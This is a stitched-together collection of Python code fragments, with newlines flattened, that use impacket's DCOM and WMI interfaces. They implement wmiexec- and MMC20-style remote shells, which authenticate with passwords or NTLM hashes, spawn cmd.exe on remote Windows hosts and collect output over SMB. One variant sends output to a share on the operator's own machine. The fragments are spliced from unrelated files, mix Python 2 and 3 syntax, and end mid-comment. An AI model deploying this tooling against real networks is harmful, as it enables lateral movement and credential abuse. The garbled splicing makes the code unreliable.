def run(self, addr, smb): if self.__noOutput is False: smbConnection = smb else: logging.info("Output retrieval disabled") smbConnection = None dcom = DCOMConnection( addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, ) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject("Win32_Process") try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) self.shell.onecmd(self.__command) except (Exception, KeyboardInterrupt), e: logging.error(str(e)) dcom.disconnect()
def test_IWbemLevel1Login_EstablishPosition(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) resp = iWbemLevel1Login.EstablishPosition() print resp dcom.disconnect()
def connect(self, host, username, password, domain=None, lmhash="", nthash=""): if not domain: domain = host.ip_addr dcom = DCOMConnection(host.ip_addr, username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) except Exception as exc: dcom.disconnect() if "rpc_s_access_denied" == exc.message: raise AccessDeniedException(host, username, password, domain) raise iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) self._dcom = dcom except: dcom.disconnect() raise finally: iWbemLevel1Login.RemRelease()
def test_IWbemServices_ExecQuery(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) #classes = [ 'Win32_Account', 'Win32_UserAccount', 'Win32_Group', 'Win32_SystemAccount', 'Win32_Service'] classes = [ 'Win32_Service'] for classn in classes: print("Reading %s " % classn) try: iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from %s' % classn) done = False while done is False: try: iEnumWbemClassObject.Next(0xffffffff,1) except Exception as e: if str(e).find('S_FALSE') < 0: print(e) else: done = True pass except Exception as e: if str(e).find('S_FALSE') < 0: print(e) dcom.disconnect()
def test_IWbemLevel1Login_NTLMLogin(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) resp = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) print resp dcom.disconnect()
def run(self, addr): if self.__noOutput is False: try: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") except Exception as e: return e sys.stdout.flush() sys.exit(1) else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: global totalOutput totalOutput=str(e) #logging.error(str(e)) try: if smbConnection is not None: smbConnection.logoff() except: pass try: dcom.disconnect() except: pass sys.stdout.flush() return str(e)
def test_IWbemServices_GetObject(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) iWbemLevel1Login.RemRelease() classObject,_ = iWbemServices.GetObject('Win32_Process') dcom.disconnect()
def test_IWbemLevel1Login_WBEMLogin(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: resp = iWbemLevel1Login.WBEMLogin() print resp except Exception, e: if str(e).find('E_NOTIMPL') < 0: dcom.disconnect() raise
def test_IWbemLevel1Login_RequestChallenge(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: resp = iWbemLevel1Login.RequestChallenge() print(resp) except Exception as e: if str(e).find('WBEM_E_NOT_SUPPORTED') < 0: dcom.disconnect() raise dcom.disconnect()
def tes_IWbemServices_OpenNamespace(self): # Not working dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./ROOT', NULL, NULL) try: resp = iWbemServices.OpenNamespace('__Namespace') print resp except Exception, e: dcom.disconnect() raise
def __init__(self, host, share_name, username, password, domain, smbconnection, hashes=None): self.__host = host self.__username = username self.__password = password self.__smbconnection = smbconnection self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share_name = share_name self.__output = None self.__outputBuffer = '' self.__shell = 'c:\\windows\\system32\\cmd.exe' self.__pwd = 'C:\\' self.__quit = None self.__executeShellCommand = None self.__retOutput = True if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, None, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iDocument.GetIDsOfNames(('ActiveView',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] pQuit = iMMC.GetIDsOfNames(('Quit',))[0] self.__quit = (iMMC, pQuit) self.__executeShellCommand = (iActiveView, pExecuteShellCommand) except Exception as e: self.exit() logging.error(str(e)) dcom.disconnect()
def run(self, command, address, namespace): dcom = DCOMConnection(address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) iWbemLevel1Login.RemRelease() shell = WMIShell(self.__logger, iWbemServices, address) shell.onecmd(command) iWbemServices.RemRelease() dcom.disconnect()
def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = '\\' + gen_random_string(6) self.__outputBuffer = '' self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process,_ = iWbemServices.GetObject('Win32_Process')
def __init__(self, logger, connection, wmi_namespace): self.__logger = logger self.__addr = connection.host self.__username = connection.username self.__password = connection.password self.__hash = connection.hash self.__domain = connection.domain self.__namespace = wmi_namespace self.__iWbemServices = None self.__doKerberos = False self.__aesKey = None self.__oxidResolver = True self.__lmhash = '' self.__nthash = '' if self.__hash is not None: self.__lmhash, self.__nthash = self.__hash.split(':') if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos) try: iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.__iWbemServices= iWbemLevel1Login.NTLMLogin(self.__namespace, NULL, NULL) iWbemLevel1Login.RemRelease() except Exception as e: self.__logger.error(e)
def run(self, addr, smbConnection): result = '' dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection) result = self.shell.send_data(self.__command) except (Exception, KeyboardInterrupt), e: traceback.print_exc() dcom.disconnect() sys.stdout.flush()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: print("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: print("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: print("SMBv2.1 dialect used") else: print("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() print e if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def test_IWbemServices_ExecMethod(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) #classObject,_ = iWbemServices.GetObject('WinMgmts:Win32_LogicalDisk='C:'') classObject,_ = iWbemServices.GetObject('Win32_Process') obj = classObject.Create('notepad.exe', 'c:\\', None) handle = obj.getProperties()['ProcessId']['value'] iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Process where handle = %s' % handle) oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #import time #time.sleep(5) owner = oooo.Terminate(1) #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Group where name = "testGroup0"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #import time #owner = oooo.Rename('testGroup1') #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #import time #owner = oooo.GetAccessMask() #print owner.getProperties() #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #obj = oooo.SetShareInfo(0, 'HOLA BETO', None) #classObject,_ = iWbemServices.GetObject('Win32_ShadowCopy') #obj = classObject.Create('C:\\', 'ClientAccessible') #print obj.getProperties() # this one doesn't work #classObject,_ = iWbemServices.GetObject('Win32_Service') #obj = classObject.Create('BETOSERVICE', 'Beto Service', 'c:\\beto', 16, 0, 'Manual', 0, None, None, None, None, None) #print obj.getProperties() dcom.disconnect()
def connect(self, host, username, password, domain=None, lmhash="", nthash=""): if not domain: domain = host.ip_addr dcom = DCOMConnection(host.ip_addr, username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) except Exception, exc: dcom.disconnect() if "rpc_s_access_denied" == exc.message: raise AccessDeniedException(host, username, password, domain) raise
def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = "" self.__nthash = "" self.__share = share self.__smbconnection = smbconnection self.__output = "\\" + gen_random_string(6) self.__outputBuffer = "" self.__shell = "cmd.exe /Q /c " self.__pwd = "C:\\" self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: # This checks to see if we didn't provide the LM Hash if hashes.find(":") != -1: self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: self.__password = "" self.__dcom = DCOMConnection( self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, ) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject("Win32_Process")
class WMIQUERY: def __init__(self, logger, connection, wmi_namespace): self.__logger = logger self.__addr = connection.host self.__username = connection.username self.__password = connection.password self.__hash = connection.hash self.__domain = connection.domain self.__namespace = wmi_namespace self.__doKerberos = False self.__aesKey = None self.__oxidResolver = True self.__lmhash = '' self.__nthash = '' if self.__hash is not None: self.__lmhash, self.__nthash = self.__hash.split(':') if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.__iWbemServices = iWbemLevel1Login.NTLMLogin( self.__namespace, NULL, NULL) iWbemLevel1Login.RemRelease() def query(self, query): query = query.strip('\n') if query[-1:] == ';': query = query[:-1] try: iEnumWbemClassObject = self.__iWbemServices.ExecQuery( query.strip('\n')) self.__logger.success('Executed specified WMI query') self.printReply(iEnumWbemClassObject) iEnumWbemClassObject.RemRelease() except Exception as e: traceback.print_exc() self.__iWbemServices.RemRelease() self.__dcom.disconnect() def describe(self, sClass): sClass = sClass.strip('\n') if sClass[-1:] == ';': sClass = sClass[:-1] try: iObject, _ = self.iWbemServices.GetObject(sClass) iObject.printInformation() iObject.RemRelease() except Exception as e: traceback.print_exc() def printReply(self, iEnum): printHeader = True while True: try: pEnum = iEnum.Next(0xffffffff, 1)[0] record = pEnum.getProperties() line = [] for rec in record: line.append('{}: {}'.format(rec, record[rec]['value'])) self.__logger.highlight(' | '.join(line)) except Exception, e: #import traceback #print traceback.print_exc() if str(e).find('S_FALSE') < 0: raise else: break iEnum.RemRelease()
class Exec(IExec): """ Remote execution using WMI as provided user This execution method does not provide debug privilege """ debug_privilege = False def __init__(self, session): super().__init__(session) self.win32Process = None self.iWbemServices = None self.buffer = "" self.dcom = None def _buffer_callback(self, data): self.buffer += str(data) def _getwin32process(self): try: self.dcom = DCOMConnection(self.session.address, self.session.username, self.session.password, self.session.domain, self.session.lmhash, self.session.nthash, self.session.aesKey, oxidResolver=True, doKerberos=self.session.kerberos, kdcHost=self.session.dc_ip) iInterface = self.dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin( '//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.win32Process, _ = self.iWbemServices.GetObject( 'Win32_Process') except KeyboardInterrupt as e: self.clean() raise KeyboardInterrupt(e) except Exception as e: self.clean() raise Exception("WMIEXEC not supported on host %s : %s" % (self.session.address, e)) def exec(self, command): if not super().exec(command): return False try: self._getwin32process() self.win32Process.Create(command, "C:\\", None) self.iWbemServices.disconnect() self.dcom.disconnect() except KeyboardInterrupt as e: logging.debug( "WMI Execution stopped because of keyboard interruption") self.clean() raise KeyboardInterrupt(e) except Exception as e: logging.debug("Error : {}".format(e), exc_info=True) self.clean() raise Exception(e) return True def clean(self): try: self.iWbemServices.disconnect() except Exception as e: pass try: self.dcom.disconnect() except Exception as e: pass
class WMI: def __init__(self, connection, logger): self.conn = connection if not self.conn.kerberos: self.conn.hostname = list({ addr[-1][0] for addr in socket.getaddrinfo(self.conn.hostname, 0, 0, 0, 0) })[0] self.log = logger self.win32Process = None self.iWbemServices = None self.buffer = "" self.dcom = None self._getwin32process() def _buffer_callback(self, data): self.buffer += str(data) def _getwin32process(self): if self.conn.kerberos: self.log.debug("Trying to authenticate using kerberos ticket") else: self.log.debug("Trying to authenticate using : {}\\{}:{}".format( self.conn.domain_name, self.conn.username, self.conn.password)) try: self.dcom = DCOMConnection(self.conn.hostname, self.conn.username, self.conn.password, self.conn.domain_name, self.conn.lmhash, self.conn.nthash, self.conn.aesKey, oxidResolver=True, doKerberos=self.conn.kerberos, kdcHost=self.conn.dc_ip) iInterface = self.dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin( '//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.win32Process, _ = self.iWbemServices.GetObject( 'Win32_Process') except KeyboardInterrupt as e: self.dcom.disconnect() raise KeyboardInterrupt(e) except Exception as e: if self.dcom is not None: self.dcom.disconnect() raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e)) def execute(self, commands): command = " & ".join(commands) try: self.win32Process.Create(command, "C:\\", None) self.iWbemServices.disconnect() self.dcom.disconnect() except KeyboardInterrupt as e: self.log.debug( "WMI Execution stopped because of keyboard interruption") self.iWbemServices.disconnect() self.dcom.disconnect() raise KeyboardInterrupt(e) except Exception as e: self.log.debug("Error : {}".format(e)) self.iWbemServices.disconnect() self.dcom.disconnect()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) if self.shell is not None: self.shell.do_exit('') else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
class WMIEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share='C$'): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = aesKey self.__kdcHost = kdcHost self.__doKerberos = doKerberos self.__retOutput = True self.__remoteshell = None if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') self.__remoteshell = RemoteShell(self.__share, self.__win32Process, self.__smbconnection) except (Exception, KeyboardInterrupt) as e: logging.debug('Failed to init dcom') if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbconnection is not None: smbconnection.logoff() self.__dcom.disconnect() sys.stdout.flush() def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(900) if os.path.isfile(command): with open(command) as commands: for c in commands: self.__outputBuffer = self.__remoteshell.exec_cmd(c.strip()) else: self.__outputBuffer = self.__remoteshell.exec_cmd(command) if self.__smbconnection is not None: self.__smbconnection.logoff() return self.__outputBuffer #def execute_orig(self, command, output=False): # self.__retOutput = output # if self.__retOutput: # self.__smbconnection.setTimeout(900) # if os.path.isfile(command): # with open(command) as commands: # for c in commands: # self.execute_handler(c.strip()) # else: # self.execute_handler(command) # self.__dcom.disconnect() # try: # if isinstance(self.__outputBuffer, str): # return self.__outputBuffer # return self.__outputBuffer.decode() # except UnicodeDecodeError: # logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings') # return self.__outputBuffer.decode('cp437') def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = b'' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.__outputBuffer = b'' def output_callback(self, data): self.__outputBuffer += data def execute_handler(self, data): if self.__retOutput: try: logging.debug('Executing remote') self.execute_remote(data) except: self.cd('\\') self.execute_remote(data) else: self.execute_remote(data) def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote() def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless() def get_output_fileless(self): while True: try: with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(2) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = '' return while True: try: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output) def run(self, addr, dummy): """ starts interactive shell """ self.shell = None logging.debug('inside wmishell.run') try: self.shell = RemoteShell(self.__share, self.__win32Process, self.__smbconnection) self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if self.__smbconnection is not None: self.__smbconnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) try: if self.__smbconnection is not None: self.__smbconnection.logoff() dcom.disconnect() except (Exception, KeyboardInterrupt) as e: logging.debug('Error: {}'.format(e))
def update(self, wmi_object_name='Win32_OSRecoveryConfiguration', wmi_property='DebugFilePath', namespace=None, update_value=None): #print 'Filename: ' + sys._getframe(0).f_code.co_filename + ' Method: ' + sys._getframe(0).f_code.co_name def check_error(banner, resp): if resp.GetCallStatus(0) != 0: print '%s - marshall ERROR (0x%x)' % (banner, resp.GetCallStatus(0)) else: #print '%s - marshall OK' % banner pass if not namespace: namespace = self.namespace if not update_value: print 'Set an update_value !' exit(0) try: dcom = DCOMConnection(self.host, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=False) iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login) iWbemLevel1Login = IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() wmiClass, callResult = iWbemServices.GetObject(wmi_object_name) wmiClass = wmiClass.SpawnInstance() ########### setting the exact same values from the current instance to the new instance values = self.get_values(self.query('Select Caption, Description, SettingID, AutoReboot, DebugFilePath, DebugInfoType, ExpandedDebugFilePath, ExpandedMiniDumpDirectory, KernelDumpOnly, MiniDumpDirectory, Name, OverwriteExistingDebugFile, SendAdminAlert, WriteDebugInfo, WriteToSystemLog From Win32_OSRecoveryConfiguration', namespace, printable=False)) for k in values: setattr(wmiClass, k, values[k]) ########### Seems like type differences for int and boolean values are not correctly handled in impacket.dcerpc.v5.dcom.wmi, so we have to do them manually # Here are Win32_OSRecoveryConfiguration attribute CIM types: #string: # Caption # Name # DebugFilePath # Description # ExpandedDebugFilePath # ExpandedMiniDumpDirectory # MiniDumpDirectory # SettingID # #boolean: # 